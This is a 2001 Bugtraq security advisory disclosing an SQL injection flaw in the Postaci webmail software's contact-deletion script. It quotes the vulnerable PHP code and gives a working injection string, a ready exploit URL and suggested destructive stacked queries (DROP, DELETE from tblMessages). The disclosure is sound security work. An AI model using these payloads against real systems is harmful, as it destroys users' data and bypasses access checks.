[LWN Logo]
[Timeline]
Date:         Wed, 17 Jan 2001 19:49:44 GMT
From: Berk Demir <berk@LINUX.ORG.TR>
Subject:      Postaci allows arbitrary SQL query execution
To: BUGTRAQ@SECURITYFOCUS.COM

Popular webmail software Postaci (ships with Debian) lacks of checking
for malicious SQL code in variables coming from user while deleting
addressbook contacts, bookmarks and notes.
This gives opportunity to malicious user to execute arbitrary
SQL query.

The problem affects Postaci if using PostgreSQL as your database
backend. MySQL seems to bo not affected by this way.
PHP's mysql_query() function code does NOT allow query strings
including a semicolon inside, for passing multi queries.
The method illustrated here uses query seperating with a
semicolon, but someone can find a suitable malicious SQL code
to also exploit Postaci while using MySQL as the db backend.

The main problem is not just with Postaci, it's with the general manner
of PHP coding exercises. Both in POST and GET methods, PHP sets the
remote variable name to a global variable with the same name in the
executing PHP script (defined in the "action" field of HTML form).

If you have a  <input type="text" name="foo">  line in your HTML form;
after submission, you'll be available to reach its set value
with the variable named "$foo" in your PHP script.

Trusting the user input in this era is just the big problem.
For example :
While expecting an integer type content for $foo, user can input
a malicious string that can cause compromise of your SQL query.

Let's focus to Postaci code.

--- deletecontact.php ---

1    // security check
2    $dbq = $db->execute("select user_id from tblAdressbook where
item_id=$item_id");
3    $auth_user = $dbq->fields['user_id'];
4    if ($auth_user != $user_id) {
5      Header("Location: index.php?error_id=1");
6    }
7    $dbq->close();

--- deletecontact.php ---

In the relatively numbered line 1, we see a magical comment :
"// security check".
This security check is really needed but not enough unfortunately.
Lines 2,3,4,5 ensures that, anyone who is not the owner of the
contact item, can not delete it.
Up to here, everything is O.K. but the implicit trust to user input.
As seen from the code snippet, variable $item_id is never checked. It
must be an integer naturally bu as we discussed above, it's a user
input and it can be everything.
Suppose that variable "$item_id" includes the string
"144 OR TRUE; select user_id from tblAdressbook where item_id=144"

144 is a real contact item id associated with the current logged in user.

The SQL Query :

"select user_id from tblAdressbook where item_id=144 OR TRUE; \
 select user_id from tblAdressbook where item_id=144"
... will return all the user_id's also ours at the top row of the result.
At line 3, "$dbq->fields['user_id']" just points to the "user_id" column
of first row of the returned result.
      So we managed to pass the first security barrier.

Let's look at the code comes after :

--- deletecontact.php ---

8      if ($log_id == ""){
9        Header("Location: index.php?error_id=1");
10     } else {
11
12       $dbq = $db->execute("delete from tblAdressbook where item_id=\
13                      $item_id and user_id = $user_id");
14       $dbq->close();
15
16       Header("Location: adressbook.php");
17     }

--- deletecontact.php ---

At line 12, Postaci still trusts the user input and puts it into the
deleting query. Flashback to our malicious $item_id variable :
   "144 OR TRUE; select user_id from tblAdressbook where item_id=144"

Then the composed query becomes :

"delete from tblAdressbook where item_id=144 OR TRUE; select user_id \
 from tblAdressbook where item_id=144 and user_id = [your user id]"

In here. PHP code of mysql_query won't let you pass a query string
including a semicolon but this doesn't apply for Postgresql
(and maybe for MS SQL, Sybase, msql).

When we focus to the first query in the query string,
we can clearly see that, it will delete all the records in the table.
Voila ! We're done.

--
For the {lamer | impatient | lazy |etc...}

http://a.postaci.running.host/deletecontact.php?item_id=[legitimate_item
_id]+OR+TRUE+;+SELECT+item_id+FROM+tblAdressbook+WHERE+item_id=[some id]
--

IMPORTANT !:
Here we used "SELECT item_id from tblAdressbook WHERE item_id=[some id]"
as the second query. Of course it can be more dangerous.
It can be "DROP [some data base]"  if the current SQL user have rights
to do so. Or it can simply delete something
"DELETE from tblMessages"  will delete all the saved incoming
mail messages and it can be really painful. Or it can
add any records to any table (owned by postaci db user).
Variations can be incremented...


Closing words :
--------------
Thanks to Umut Gokbayrak for creating such a good webmail
interface for us (Turkish OpenSource Community). I'm sure
he'll make a patch available for this issue A.S.A.P.

Thanks to Selami Aksoy for letting me to use his production
machines for testing (installing new packages, testing PHP codes,
screwing up the total system :))

        About Postaci :
        ---------------
        Postaci (Turkish word for Postman) is a multiplatform GPL' ed 
webmail
        software which is database independent (MySQL, mSQL,PostgreSQL,
        Sybase, MS SQL), multilanguage(Turkish, English...), POP3/IMAP
        and fully MIME compatible. While using POP3 mode to fetch 
messages
        it uses database fields to simulate IMAP folders, on which you 
can
        save, move, delete,read e-mail.


Regards,

Berk Demir
Association of Turkish Linux Users
L K D
http://www.linux.org.tr